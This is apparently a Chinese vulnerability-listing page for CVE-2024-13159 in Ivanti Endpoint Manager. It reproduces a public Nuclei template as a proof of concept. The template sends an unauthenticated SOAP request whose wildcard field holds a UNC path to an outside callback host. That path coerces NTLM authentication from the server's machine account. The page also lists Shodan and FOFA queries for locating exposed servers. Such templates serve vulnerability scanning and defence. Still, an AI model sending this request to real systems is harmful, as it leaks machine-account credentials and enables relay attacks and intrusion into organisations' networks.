CVE-2024-13159: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcardRecursive

日期: 2025-08-01 | 影响软件: Ivanti EPM | POC: 已公开

漏洞描述

A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcardRecursive endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.

PoC代码[已公开]

id: CVE-2024-13159

info:
  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcardRecursive
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcardRecursive endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13159
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13159
    cwe-id: CWE-36
    epss-score: 0.93884
    epss-percentile: 0.99867
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:362091310
    fofa-query: icon_hash="362091310"
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForWildcardRecursive

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForWildcardRecursive xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForWildcardRecursive>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForWildcardRecursiveResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100bed67e1c80ae7d240ad70a1ec0f07f210d660b7e950aa512c35bad8121140b96022100c8587922c2870975fc0366ec512e0147f9051326556aabf4b63171b385ee2892:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-13159.yaml

相关漏洞推荐